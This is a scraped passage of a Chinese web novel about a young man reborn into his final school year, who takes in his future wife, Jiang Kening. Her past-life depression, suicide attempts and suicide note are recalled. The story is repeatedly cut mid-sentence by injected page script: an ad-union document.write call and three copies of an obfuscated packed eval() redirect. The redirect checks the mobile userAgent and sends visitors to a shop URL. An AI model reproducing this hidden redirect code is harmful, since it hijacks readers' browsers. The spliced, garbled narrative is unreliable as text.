汽车驶进城市中心路段的十字路口,前面的车过绿灯的时候很拖拉,从后视镜能看见司机一只手拿着手机贴在耳边打电话,宋枝年被迫跟在那辆车后面缓慢移动,最终错过了绿灯。 “哎呀,不会有如果的,反正现在我们都在一起了。”不知道是不是等了两个红灯有些焦躁的原因,或是因为宋枝年心虚,他想象自己如果没跟姜可宁上一个大学,大概率真的没有以后,一想到这个结局他就无法做到平静,所以他有些迫切地结束了这个话题。 姜可宁也没再说什么,两人就这么回了家,后来没再聊起这个话题。 56. 真的没有如果吗?宋枝年不知道,他只知道未来的某天,他比世界上的任何一个人都希望世界上可以有“如果”,希望老天真的能给他一张斗转星移的卡牌。 如果让他重新回答一次,宋枝年一定一定会告诉她,“就算错过了千百次,我也会找到你的,只不过他可能会来得有些迟,你再等一等,就再等一等吧,我真的会来的。” 57. 所以这次宋枝年也从口袋里掏出一枚硬币。 他对姜可宁说,“这样吧,我们抛硬币,如果是花字,你就跟我一起走,不要住在这里了,好吗?” 姜可宁嘴巴微张着,后来的她其实是一个一旦稳定下来就不愿意改变自己生存环境的人,她自诩是一个适应能力很差劲的人,就连旅游住太长时间的酒店都会想家。 “我……” “放心,你别害怕你舅舅这边,我跟他说。”宋枝年看出了她的顾虑。 “但是,你…我怎么能住你家呢?”姜可宁用纯粹疑问的语气。 宋枝年要被逗笑了,重新回到老婆的十七岁确实是经常会有很严重的割裂感。 “那怎么了,宋枝月还天天招呼朋友来家里住呢,我怎么就不能招呼你住家里。”宋枝年故意这么说。 其实他根本不是这样想,他很早就准备好了,打算把姜可宁带到市中心一套公寓住,按照宋枝年的记忆,应该是他爸去年刚买的,在未来的十年,这套房子的市值将会翻一倍。 他并不是不想让家里人认识姜可宁,更主要的是希望她住得更自在一点,姜可宁并不喜欢社交,这点她从小到大都一样,参加一场聚会会花光她很多的精力,虽说宋枝年对自己爸妈和亲姐的沟通能力和亲和力很有自信,但他实在不想再让姜可宁感受到任何寄人篱下的苦楚,哪怕一丝一毫。 他无法控制除了自己以外其他人对待姜可宁的方式,所以只能尽全力免除后患。 这并不关乎信不信任的问题,宋枝年只是太害怕了,他没有办法再去冒险,加在姜可宁身上的每多一点坏情绪,都可能成为在她面临崩溃时的那最后一根稻草。 姜可宁估计想象了一下真的像被邀请的朋友一样住进他家里是一种什么场面,表情更加揪心了,茸密的眉毛微微皱着。 宋枝年虽然觉得她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的样子很可爱,但也真的不忍心了,他对姜可宁说:“逗你的,我有一个秘密基地,你可以待在那里,当成自己家,就只有我们两个人,没有别人。” 曾经姜可宁在网上关注过一个帖主,当时她已经开始生病了,身体状况和精神状态都很不好,但宋枝年偶尔会看见她回复那个帖子,主题名为“我有一个一不开心就会去的秘密基地” 宋枝年不清楚姜可宁的账号,那会儿因为忙着盯紧她不做伤害自己的事情,也没有专门去网上查,等到后面再想起来,已经找不到这个帖子了,原帖主清空了账号。但宋枝年一直对这个主题的名字有些印象。 58. 狭小的储藏室突然出现什么东西裂开的声音,宋枝年率先一步反应过来,顺着声音抬眼一看,天花板因为受潮有些发霉的墙皮从原本破裂的边缘开始扩大,然后向内延伸,掏空了原本和墙体紧贴着的的细小缝隙。紧接着,一整块白色墙皮脱落下来,直直地砸向姜可宁的头顶。 宋枝年心里一紧,护住她的头,一只手摁着她的肩,搂着她往自己怀里躲,身体第一反应带着她转了个身。 脱落的墙皮砸在宋枝年的后背和肩膀,灰的的粉蹭脏了白色的校服外套,宋枝年怕灰掉在姜可宁身上,连忙松开她,自己胡乱拍了拍。 窗外雨势好像变小之后又开始下大了,雨水拍打树干旁枝上低垂的树叶,发出无法抑制的沉重响声,像一次酣畅淋漓的倾诉。 姜可宁低头看见宋枝年湿了鞋面的帆布鞋,视线上移看见他是不是还在往下滴水的裤腿,最后落在了他不小心被蹭了一些灰的左脸。 心里像是被很随意地扔进一块反应条件充足的可燃冰,什么都不需要就烧得很烫很疼。 她看着宋枝年手忙脚乱地整理被她的霉运搞得一团糟的一身衣服,不自量力又控制不住地靠近一步。没有什么多余的动作,姜可宁侧着脸,双手揪着宋枝年的袖子,用脸侧贴了贴他的右脖颈,像是一个很不标准的、很奇怪的、一点都不亲密的拥抱。 姜可宁又把脸往他肩膀里埋了埋,然后宋枝年就听见她说:“不用抛硬币了。” 59. 可宁的日记: 2024.11.30 今天房间里的墙皮掉了很多,扫了很久都扫不干净,衣服也弄脏了要重新洗,明天要是衣服干不了怎么办呢? 2024.11.30 我真的可以有家吗…… 18. 第十八章 60. 姜可宁能带出家门的东西少之又少,宋枝年看着她在自己的小房间里挑挑拣拣,最终都装不满一个书包。 她像一个很忙碌的小动物,仔细检查自己庇护所里面的边边角角,生怕落下一点找不到就会危及生命的东西,实在收拾不出东西了,她又开始跑进跑出,先是给窗台的盆栽浇了一遍水,然后又把洗碗柜里的碗整理了一遍,宋枝年没有打断她,她又像上了发条一样开始干一些零碎的杂活。 这并不是一个良好的反应,曾经的姜可宁也会这么做,工作遇上烦心事或者坏情绪反扑的时候她就会开始打扫整个屋子,把家务活全部都做一遍,一开始宋枝年觉得是她疏解压力的一种方式,后来才发现不是这样的,是因为她在焦虑,焦虑自己心情不好时什么都不做会很浪费时间,所以只能做暂时不需要多集中注意力的家务活。 这种近乎刻板的行为在她这么小的时候就出现了吗? 宋枝年上前一步,握住了她正在擦杯子的手腕,“怎么啊,不想跟我走了吗?” 她的眼神果然从放空又开始重新聚焦,随即躲闪起来,她在不安。 就像小动物找到了新的庇护所时会有些兴奋,但也会不由自主地担忧新的庇护所真的会安全吗。 “不,不是,我怕…会麻烦。”她说。 似乎有一滴雨敲进了宋枝年的心里,他握住姜可宁的手没有意识地紧了紧。 小动物只会害怕新的庇护所安不安全,但她担心的却是自己又会给别人带来麻烦,在她的前十七岁里,给人带来麻烦的后果或许有些重,偶尔是关一次紧闭,偶尔是挨一顿打,偶尔是少吃一顿饭。 这些不安全感就像积起来的小纸堆,慢慢地有了重量,让她再也难以接受把自己手中抱了满怀的重物分摊一点给别人。 宋枝年在心里叹出一口气,然后对她说:“是啊,确实会麻烦。” 姜可宁的头更低了。似乎在后悔应该抛一下硬币的,反正她认为自己运气很差,一定会抛到没办法和宋枝年一起走的那一面。 “照顾一个人确实会麻烦,即便感情再好也要花费时间和精力,但是我跟你说过的,我不是白给的。” “我爸说过我自私,我妈还说过我势利眼,我就是这样的,做事求回报。”宋枝年看着她继续说。 姜可宁点点头,很认真地说:“我知道的,我都记得,等我以后…等…我会还给你的。”她的语气变得有些急,似乎迫切证明自己的诚意。 “所以,我之前跟你说,想让你陪我过二十八岁的生日,其实还不够的,我还想要以后你也多关心关心我,我可能也会麻烦你的,比方说希望姜可宁也能把时间分一些给宋枝年,陪他看看电影,陪他去很多地方。” “我也不是圣母,我就是一个普通人,所以不要害怕麻烦我了,你放心,我以后会努力麻烦麻烦你的,这样我们就扯平了。” “当然,我允许姜可宁多麻烦我一些,这是特权。”宋枝年说。 宋枝年把她脸侧的一缕碎发撩到耳后。然后轻轻碰了一下她的脸颊。 “所以我也很需要你的,如果哪天你觉得不开心了,觉得过不下去了,就想想我吧,这里有一个人等着你呢。” 61. 姜可宁最后还是背着书包跟宋枝年走出那个不完全算是家的家门。 临走时她还记着锁门,钥匙插进锁孔转了几圈,咔哒一声,卡在了口子上。 锁完门她对着那把钥匙犹豫了一下,迟迟没有放进口袋,宋枝年替她做了决定,他拿过她手里捏得有些温度的钥匙,放在了旁边鞋柜的空花盆底部。 然后牵起姜可宁的手,拇指摩挲了一下她的手背,几次想开口,话到嘴边变成一句,“放心,我会对你好的。” 这句话说出来宋枝年觉得有些像迎娶不愿意出门的新娘,自己有些不太好意思,虽然他确实有着二三十岁成年男性的心智,但毕竟现在还穿着一身被雨淋得有些狼狈的校服。 看起来就不太靠谱。 姜可宁愣了一下,似乎没觉得这句话奇怪,自顾自地接了过来,“嗯,我也会的。” 宋枝年就笑了,还好老婆是小傻瓜。 62. 雨势渐小直至全无,零星几颗水珠从蓄着雨水的树叶上滴落下来,掉进一个个小水坑,激起一圈又一圈的涟漪。 宋枝年刚刚没觉得走出巷子里的这段路那么长。 姜可宁:“你说的秘密基地,是哪里啊?” 宋枝年:“哦,就是我不想住在家里的时候会去的地方,不过设施没多齐全,就是一个很空的房子,等过几天周末,我陪你一块儿到超市添点东西。” 宋枝年没住过那套房子,但父亲投资房子的习惯一向是精装修,几天前他把房子里看起来贵的家具和电器都让搬家公司搬走了,换成了最普通的二手货,摆着的几幅字画也撤下来,甚至他还在墙上弄了一些污渍。剩下一些有的没的装饰品都被他清出去,整个房子确实空了很多,感觉市值都蒸发了不少。 但是没办法,如果按原来的样子,姜可宁也许会很局促,不敢动家里的东西害怕磕碰着哪里,又会开始计算自己和他的差距要工作多少年、升职多少次才能填上。 这是宋枝年想到的能让她对一个陌生的地方有归属感的最直接的方法了。 来日方长,这些都不重要,能让她轻松地生活才是当务之急 63. 两人走到巷子口的时候,姜可宁突然停住脚步,往后退了一点。 宋枝年还拉着他的手,他感觉到姜可宁想松开,但他没放。 耳边传来讲电话的声音,是一个中年男声。 “这不太行吧,这是我妹的赔偿款啊,咱家这么些年花那么多了,总得给小宁留点儿吧。” “怎么不用花钱啊,女儿上大学一年花多少钱你忘了吗,这里头一大半还都是从赔偿款里拿的。” “……” “你这么搞,我以后到上面怎么见我妈和我妹。” “你说什么呢,嘴巴放干净点,唉,女儿就是被你惯坏了。” “行行行,别吵了,我等会儿再给你转,留着点啊!真快没了。” 宋枝年判断出这就是姜可宁的舅舅寇泽林。她后来没跟他提过爸妈车祸去世有赔偿款这件事,听着几句话估计是几乎没花在过她身上。 姜可宁的父母肯定在天上很着急,所以安排同样是一个急性子的宋枝年到她身边来了,从小的生活让他根本没有所谓忍气吞声的概念。 他不是要替姜可宁掰扯那些给她带来创伤的赔偿款, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大学里的老师也有项目的绩效,遇到有学生在做和自己方向对口的项目会主动找学生说可以当指导老师,出于面子的关系,大部分学生不会拒绝,指导老师多对项目评奖也有好处。后来姜可宁做的项目就跟那个老师对口,果不其然被主动找上门了,那次是宋枝年第一回看见她那么不留面子拒绝别人。 明明是有棱有角的人,喜欢的人受一点委屈都会记着讨回来,自己受那么多委屈却什么都不说,天底下再没有姜可宁这样的小傻瓜了。 寇泽林就是个窝囊废,知道自己愧对她心里又很虚,只能靠大声给自己壮胆。 他又朝宋枝年吼:“你才多大啊,就想把人家的姑娘带走,你见过小宁的爸妈吗你!” 宋枝年心里一沉,低沉着声音,“你配提她父母吗?” 姜可宁的手颤抖了一下,宋枝年意识到继续纠缠下去寇泽林可能会说出让她更伤心的话,眼神警告了他,就拉着姜可宁往前走。 “喂!你小子,你算是她什么人啊,你做得了这个主吗!”寇泽林恼羞成怒,在后面喊。 宋枝年没停下脚步,姜可宁就在他身边,身后是一滩一滩的积水盒掉落在地上的野花花瓣。 “我当然能!我做不了主还有谁能做主啊。”宋枝年说。 19. 第十九章 63. 为了以防姜可宁想着去挤夜班公交,宋枝年提前叫好了车,揽着她往路口那走,脚步不自主地快了些。 姜可宁也感受到了,“怎么突然走那么快呀?” 宋枝年眨了眨眼,然后自己笑了一下,“对不起啊,想到要把你带回家了,有点太开心了。”他说。 姜可宁瞬间就躲开了他的眼神,不讲话了。像一只一遇到刺激就立刻把头缩回壳里面的小乌龟。 他突然想起从前有一次,姜可宁在手机朋友圈里刷到同事养的乌龟,在他旁边很无厘头地说了一句,下辈子想当一只没有烦恼,行动缓慢的乌龟。 她总是有一些天马行空的想法,宋枝年当时还在洗咖啡机,非常自然地就接了一句:“好啊,那我也当乌龟,然后跟你做朋友。” 宋枝年眼神没从她身上挪走过,心里有一个小小的念头。好想亲。 但是他没亲。 他喉结上下滚动了一下,然后对姜可宁说:“怎么啊?你不能允许有人毕生的愿望就是想跟你有个家吗?”宋枝年的语气理直气壮得像在说太阳就是从东边升起来的。 也许是宋枝年的上一世没能实现这个愿望,所以他并没有说谎,他不清楚这个时候的姜可宁会不会真正相信,在这个世界上,跨越两个时空,再找不到一个人比宋枝年更爱她的了。 想到这里宋枝年扯了扯嘴角,姜可宁不会相信的,她对宋枝年从来就是有所隐瞒,隐瞒自己的心情,隐瞒自己不愿提起但仍耿耿于怀的过去,隐瞒任何想死的计划。 就算她真的相信了又能怎样呢,她只会失望地认为被爱是没有用的东西,爱不能让她的生活越过越好,似乎还把她拉进了深渊。 姜可宁才是铁石心肠的人,跟只养不熟的野猫似的,有很多次宋枝年真的很生气,她死的时候他有种自己好像也快死了的实感。但宋枝年又有什么办法呢,再来一次他不但做不到全身而退,反而会更早地来到她身边,话里话外地盼望着—— 姜可宁啊,麻烦你也爱我很久很久吧。 64. 姜可宁或许有些感触,或许是在不好意思,又或者沉浸在自己的世界。 宋枝年跟她一起坐在后座上,一路上,她抱着书包,稍微侧着身子,一直在看他。 姜可宁的注视和任何人都不一样,不是欣赏或是爱慕之类感情浓烈的眼神,也不是观察着打量的眼神,而是一种接近艺术家对能激发自己灵感的缪斯的一种几乎虔诚的注视。 没有带任何的情绪,只是单纯地看着你,像是害怕下一秒就看不见了一样。 这种眼神宋枝年并不算陌生,上辈子初遇她时在嘈杂的火车车厢,姜可宁打瞌睡被他撞见的时候;她从酒局里被宋枝年带出来,酒劲还没过的时候;还有很多个姜可宁失眠的夜晚,很多个姜可宁以为他睡着了的夜晚,她都是这么看着他的。 宋枝年知道她不是在发呆,但还是抬起手,在姜可宁眼睛前面晃了晃。因为他并不希望姜可宁只是一直看着他,这让宋枝年觉得有些远。 过了高峰期后的大路很空旷,夜风透过轿车窗缝若有似无地吹进来,好像把呼吸都吹得很乱,把宋枝年吹得有些心不在焉。 他好像从没意识到自己也不太有安全感,他有很多事情不能确定,从前他潜意识里认为被喜欢并不算新奇的事情,所以并不知道姜可宁具体是因为哪个细节、因为哪一天才开始注意到他的。 重回高三之后老婆还会喜欢我吗?宋枝年心里有这个疑问。 外面好像有一小撮不知名的棉絮从车窗飘进来,又落在暗处。雨过后的世界好像更清晰了些,云层慷慨散去为皎洁的明月让出空间,城市的霓虹灯光并没有十年后那样璀璨夺目,明明灭灭照在姜可宁身上,像笼罩着一层柔和的光晕。 宋枝年的手在她面前摆了几下,她就快速眨了两下眼睛,眼睫毛扑闪扑闪的,宋枝年看见她双手又抱紧了一点怀里的书包。 然后姜可宁往前凑了一些,宋枝年的手还在她面前,挡住了她大半个脸。 飘进车里的棉絮好像又被一小缕风吹起来,挠了一下宋枝年的心。 姜可宁拽着书包带子,有些小心翼翼地亲了一下宋枝年在她面前晃悠的手,准确来说是用唇瓣很轻地蹭了蹭他的手心。 宋枝年愣了几秒,手还僵在她面前,心里像是倒进了气泡水,咕噜咕噜冒着泡。 姜可宁是被动得你不找她她能一直忍着一条信息都不发的那种人,两人没在一起之前,几乎没有过特别暧昧的阶段,姜可宁对待感情比别的事情还要一板一眼,她爱你的程度跟她主动的程度几乎成反相关。 宋枝年不知道这算不算一种保护机制,像是有某种程序,宋枝年投一个币进去,就给她一点点往前的勇气,再投一个进去,就能解锁跟平时不太一样的姜可宁,但如果一段时间不投,程序就会被锁定,投一个币两个币已经没有用了,要更多的币才能解锁了。 所以现在是,十七岁的、还什么都不懂的、从来不会主动的老婆亲了他一下。哦不对,是蹭了他一下。 宋枝年手心被碰到的地方还很痒,他动了动手指,下意识地摸了摸她的头,她的眼睛很亮,黑色瞳仁里有一个小小的光圈。 宋枝年说到底也当过姜可宁好几年的男朋友,熟悉她的表情和情绪。 “好啦,警告你一下,不要一直在心里面跟我说谢谢哦。”他对姜可宁说。 姜可宁明显怔住了,又有些被戳穿的不好意思,“你怎么知道的呀?”她说。 宋枝年刮了刮她的鼻尖,“因为我比你想象中还要了解你很多很多啊。”他说。 65. 宋枝年那间公寓并不算是在最繁华的路段,十年后价格飙升主要是因为旁边将新建一个公办的重点中学,以后就变成学区房了。 宋枝年没让司机开进去,而是在小区后门一段路的地方停下了,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954786|147240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想和姜可宁一起走着进去,因为他记得前几天看见后门有一个大爷在摆摊卖冰糖葫芦。 姜可宁曾经跟他说过,有一回冬天,看见路上有对年轻夫妇牵着女儿,三个人一人手里拿着一根糖葫芦,走在路上好像还蹦蹦跳跳的,看起来就很开心。宋枝年当时也认真听了,隔天下班的时候找了一条街才看见卖糖葫芦的,给她买了很多回去。 只不过错过了就是错过了,曾经姜可宁就是会羡慕别人身边热闹的景象,甚至记得那个场景很久,在想起来的时候当成小故事说给宋枝年听。 倒不是说一根糖葫芦就怎么样,宋枝年就是想着,万一哪天姜可宁一个人的时候,又看见了一家三口一块儿吃糖葫芦的画面,她能想起来,自己也有一个能给她买糖葫芦的人,不用去羡慕别人,也不用觉得自己很孤单没有人疼了。 66. 宋枝年果然还是很了解姜可宁,进入拐角那个小摊的时候,她的目光就被吸引过去了,不过很快便移开,好像只是短暂停留了一下又因为与自己无关所以就不看了。 这个反应跟长大后的她不太一样,也许小时候的姜可宁还是有点馋糖葫芦的,但是因为一直没有人给她买,慢慢地她就没那么喜欢了。 姜可宁的初高中阶段,除了必要的一日三餐,几乎没有吃过什么爱吃的东西,贫穷是一种具像化的痛苦,口腹之欲就成了困窘时最不重要的东西。 但哪怕是宋枝年这种不挑食的人,偶尔都会想吃个冰糕搓顿火锅什么的。 就像是明明喜欢吃的糖葫芦,太久吃不到,就不会喜欢了。 “想吃吗?我们去买糖葫芦吧。”宋枝年低了点头说。 姜可宁抬眼看了他一下,然后立马摇头,“不用了。”眼睛又朝那个小摊瞟了一眼。 他俩其实来得有点不巧,时间有点晚,大爷收拾桌面这架势看着是要收摊了。 “算了吧。”姜可宁又说。 “算了”,这句话让宋枝年有些应激,姜可宁病重的时候,很经常说算了。他说要不要出国玩一下,姜可宁说算了;他说今天跟我回家见见父母吧,姜可宁说算了。当时的姜可宁只有一件事情不会说算了,就是分手,她觉得自己是个累赘很久了,不过宋枝年一直明确表态绝对不可能,后面她知道劝不动,就不说了。 好像姜可宁的人生里,有很多次都是这么算了,想买裙子的那次,后面因为钱交了班费就这么算了;想吃什么东西的时候,因为囊中羞涩也这么算了;被抢了竞赛名额的时候,因为对方父母强势而自己身后空空如也,就这么算了。 就是这么多个“算了”,所以当她与吞噬自己的病魔抗争的时候,明明有宋枝年拼命想拽着她,但她还是先对自己说“算了”。 “怎么能算了,想吃的东西一天不吃到我就难受得慌。”宋枝年故作轻松地说。 距离那个摊还有几米,宋枝年朝前喊:“叔,等会儿!这儿还有个小姑娘想吃!” 20. 第二十章 67. 宋枝年:“爸,临江路的那套公寓,我带了朋友过来住。” 宋羽:“诶,小年啊,你等会儿啊,我鱼上钩了,收个杆先!” 宋枝年:“……” 宋羽:“哦!你刚才说什么,你同学离家出走了要住咱家?” 宋枝年:“……”他说了吗?这话怎么听着哪都怪。 宋羽:“唉,你觉得可以就可以呗,反正麻烦的又不是我,这么大了,要学会自己做主。” 宋枝年不知道要说是还是不是,“…爸,不是家里,是你临江路那套公寓。” 宋羽:“哦,这样啊。” 宋羽:“哪套来着?” 宋枝年:“……算了不重要,我反正已经跟你交代了啊,房子我征用了。” 宋羽:“诶!这鱼好是吧,能做刺身啊!唉可惜我不爱吃生的。” 宋枝年彻底无语了,“爸,你继续钓鱼吧,我挂了。” 宋羽:“哎!等等,你还没跟我说是哪个朋友呢,人都不让我知道就住我房子。” 宋枝年笑了一下:“你房子都不关心还关心是哪个朋友?” 宋羽:“这你就不懂了呀,房子问题不大,我这叫关心你的私生活。” 宋枝年:“我又不是明星,怎么还扯上私生活了。” 宋羽:“你从小到大我没见过你带朋友回家,最多是去外面派对什么的,这回不但是带着回来,还要住外面。你这让你爹不怀疑很难啊。” 宋羽:“我感觉你应该不会做什么出格的事,但你谈恋爱也别乱来啊,知道了吧。” 宋枝年:“……”原来他这么没有秘密的吗,怎么能一猜就中的?可…上辈子什么都做过了这算乱来吗。 宋枝年:“知道了,我不会乱来的,爸,她叫姜可宁。” 宋羽:“挺不错的名字,她父母呢,知道吗?是最近不开心吗,用不用爸爸跟她父母沟通一下。” 宋枝年:“她爸妈很早就去世了。” 宋羽:“哦,这样啊,那你……你要对人家好一点。” 宋枝年:“当然。我认真的。” 宋羽:“行行行,你自己掂量着,也别耽误了学习,特别是别耽误人家女孩儿学习。” 宋枝年突然觉得有点鼻酸,他最近还是会很经常做那个梦,梦见一觉醒来就是姜可宁的葬礼,好像一直都没有什么实感,不知道这是不是真的,不知道自己在做什么,会不会起作用,姜可宁有没有开心起来。重来一次他还用不用面对失去恋人的痛苦,无人理解、无人知晓的孤独感在这段时间内频繁地出现,让宋枝年差点儿忘记了从前他的家里人都是很喜欢姜可宁的。在某种意义上,他也不是一个人在想救她。是这样吧。 宋枝年真的差点忘记了,现在的他也只是十八岁而已,这个年纪的人,有什么好怕的呢?什么都来得及的。 宋枝年想着,没注意他爸好像还在说什么,听了个末尾。 “记得跟你妈说一下啊,别光告诉我了,等会儿你妈要跟我闹儿子跟她不亲了。” 宋枝年哭笑不得,说了一句好。 他挂了宋羽的电话就切过去给妈妈李晓樱打了电话。 宋枝年刚说了第一句,“妈。” 李晓樱就用一种十分激动且好奇的语气:“枝年!快给我看看照片!” 宋枝年:“……我不是刚挂了爸的电话吗。”他怎么做到传播得这么迅速的。 李晓樱:“你还敢问,凭什么你爸比我先知道!” 宋枝年:“我……嗯……” 李晓樱:“别跟我在这嗯嗯啊啊的。” 宋枝年:“妈对不起!我保证下次我要是结婚了你肯定比我爸先知道!” 李晓樱:“好啦!快给我看看照片嘛,可宁是不是很漂亮呀!” 宋枝年:“爸什么都跟你说了吗?” 李晓樱:“没有啊,他就说你谈了女朋友,然后说了名字。” 宋枝年又把带姜可宁到公寓里面住的事情说详细一点给李晓樱听。 李晓樱听完好久没有讲话。 宋枝年也很了解母亲,李晓樱是很容易共情的人,他记得13年的时候韩剧来自星星的你现象级爆火,迷倒了万千少女包括宋枝年的妈妈,李晓樱女士每天都要追更,看得哭哭笑笑的,男主从地球消失的那几集伤心得夜宵都只吃了一点点。 但宋枝年不知怎的,其实并不想很多人同情姜可宁,他并不觉得姜可宁可怜,她只是吃了比较多的苦,这并不能定下她的人生基调。 所以宋枝年对着手机说:“妈,你没在哭吧。” 李晓樱:“…没,我只是在看,有什么合适的礼物。” 宋枝年愣了一下说:“妈,我都要感动了。” 李晓樱:“诶!关你什么事情,又不是送给你的,是送给可宁的。” 宋枝年:“好好好,我知道我知道,我只是没想到,你们居然会是这个态度。” 李晓樱:“干嘛,我跟你老爹是很不开明的父母吗?原来在你眼里我们就是这样的,没爱了没爱了。” 宋枝年连忙找补:“当然没有,我这不是没经过你们同意就用了你们的房子嘛,心虚心虚,你懂的。” 李晓樱:“啊……那你的意思就是,我们很抠门咯?” 宋枝年:“没有,不敢,怎么会,妈我有事先挂了啊。” 李晓樱:“慢!” 宋枝年:“咋了,女王。” 李晓樱:“记得告诉你姐姐,而且你别跟她说她是最后一个知道的,听见没!” 李晓樱:“还有,男孩子要懂分寸,不准乱来啊,我要是可宁的父母,知道女儿整天跟你待在一块,都恨不得多长只眼睛放女儿身上。” 宋枝年:“知道啦!我又不是坏人,别说得那么恐怖。” 宋枝年挂完电话想起来,他曾经也想多长只眼睛寸步不离地盯着姜可宁,生病的她太不乖了,不让宋枝年请假在家陪她,也不让他推掉应酬,然后又要趁他不注意偷偷流眼泪,偷偷留遗书。 宋枝年想起来第一次见到她遗书的时候,是在一个很平常的周末,他到书房找资料,一直翻不到,把书柜里的很多书都翻出来,在一本《夜莺与玫瑰》旁边掉出来一个牛皮纸信封,宋枝年犹豫了一下,还是打开了。 里面的内容大概就是,跟后面姜可宁的很多次自杀失败一样,笑眯眯地用轻飘飘的语气跟宋枝年道歉。姜可宁的遗书其实并没有什么控诉这个世界的内容,大部分是在认真地告别,说什么以后烟不要抽那么多了,还有什么不要因为不饿就不吃早餐,还有晚上睡不着不要依赖安眠药,多听听歌跑跑步说不定会好点。她也会觉得很抱歉,比方说之前约定的一起去崇礼滑雪还没去,阿勒泰的蓝调时刻也还没看,说过要再去一次的餐馆也有很多只吃了那一次。 她的遗书可以说是根本不像遗书,更像是在陈述对这个世界种种的期待和牵挂,如果没有最后一句的——“宋枝年,下辈子不要再遇到我了。” 真是的。明明她不是这样说的,之前不是还说遇到他觉得很幸运吗,凭什么这辈子抛弃他,下辈子还说不要再见了。 当时姜可宁并不在家,说是跟同事一起去咖啡厅喝咖啡了,宋枝年一个电话过去就戳穿了,小骗子在医院呢。哦,姜可宁有过一段偷偷去医院看病偷偷吃抑郁药的时间。 看吧,她就连生病了,第一想法还是藏着掖着,宋枝年知道她在想什么,她觉得自己说不定能偷偷生病,偷偷治疗,最好能够偷偷痊愈,这样宋枝年就不用因为照顾她耗费精力,如果能痊愈,她就会沾沾自喜,装作无事发生,为自己没有麻烦到别人感到轻松,如果不能痊愈,越病越重,她就开始把自己往外剥离了,觉得宋枝年跟一个病人谈恋爱没有意思。 68. 宋枝年给家里人报备完毕之后,从楼梯间走回公寓。 看见姜可宁站在客厅空旷的地方,很呆一样。 宋枝年把手机放进口袋,“怎么没去洗澡。”他刚刚出来前有跟她说可以先去洗澡,淋了雨洗个热水澡会舒服点。 姜可宁变得有些纠结,表情并不放松,然后指了指浴室的方向说:“那个热水器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13973158|147240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我…不会开。” 宋枝年失策了,厕所浴室的设施他没换,他爸是讲究生活品质的人,买个咖啡机都要买功能最多看起来最高级的,何况天天都要用的热水器。 他反应了一瞬,然后很开朗地说:“哦,那个热水器是上次买桶装水抽奖送的,一等奖,结果回来我也发现不会开,研究说明书研究了很久。” 姜可宁没什么表情地眨了眨眼:“怎么买桶装水还会送热水器啊?” 宋枝年:“……” 宋枝年:“啊,可能这种麻烦的设计卖不出去,他就拿来促销了,来,我教你开,很容易的。” 姜可宁跟在宋枝年后面进了浴室,然后看着他示范怎么调水温调流速。 这些脱口而出的谎言是宋枝年在曾经的后知后觉中得出的不让姜可宁受到伤害的条件反射。 曾经的一次,宋枝年带着她参加了一次朋友的聚会,聚会上的人都是宋枝年的发小,还有一些爸妈朋友的儿女,群上说了,可以带家属来。宋枝年想着除了朋友圈,还没给自己的朋友正式介绍过姜可宁,就试探地问了一下她想不想去。 姜可宁不爱社交,宋枝年也就是抱着让她知道一下有这么个事问的,但她没有说算了,她说想去。 饭局之前,姜可宁专门化了妆,穿了新买的熨烫好的裙子出门,宋枝年也挺高兴的,想向熟人炫耀自己有个漂亮女朋友的心思应该不会有男人没有过。 本来也就是场普通的聚餐,但是场子热起来之后,大家敞开了聊就容易聊到一些除了商业性寒暄之外的话题,不知道是谁说到大学里参加过乐队,然后就聊到了乐器这个事,在场的所有人包括宋枝年,都有一两个拿得出手的才艺。 等桌上放着菜的圆盘转了一圈,问到姜可宁的时候,她只能强颜欢笑地说,自己没有学过什么乐器。后面是宋枝年接话跳过了这个话题,说实在的,他当时有点后悔,小时候为什么要缠着爸妈说要去学乐器。 有过这个话题之后,在座的也很敏锐,聊到一些东西的时候不会主动去问姜可宁,但是话题就那么多,养尊处优的小孩长大了的娱乐都是那么统一,看展、拍卖、高尔夫网球、出国旅游,这些是连大学学费都要拼命打工才凑够的姜可宁一句话都插不进去的存在。后面是宋枝年硬找了几个大学里参加比赛和实习的话题,才让姜可宁能说几句话。 其实大家并不刻薄,说话也很有分寸,姜可宁好像也没有那么不舒服,回家的时候心情也很正常,还有说有笑的。就像是淡淡地了解了别人如此松弛优越的青春,淡淡地知道了还有很多没见过的世界,淡淡地知道自己和别人的差距真的好大,淡淡地觉得自己配不上宋枝年。 姜可宁也不会说,她也许也不怎么难过,她只会默默地想着以后要怎么努力,要怎么对宋枝年付出更多的爱,才能为她自己找到一个宋枝年喜欢她的原因。 姜可宁一直觉得自己没什么好的,问过很多次宋枝年为什么喜欢她这个问题。 宋枝年其实有些概括不上来究竟是为什么,只能每次都用具体的例子论证——因为姜可宁真的很好,所以没有人会不喜欢她的。 大概说得有些夸张,小傻瓜没信。 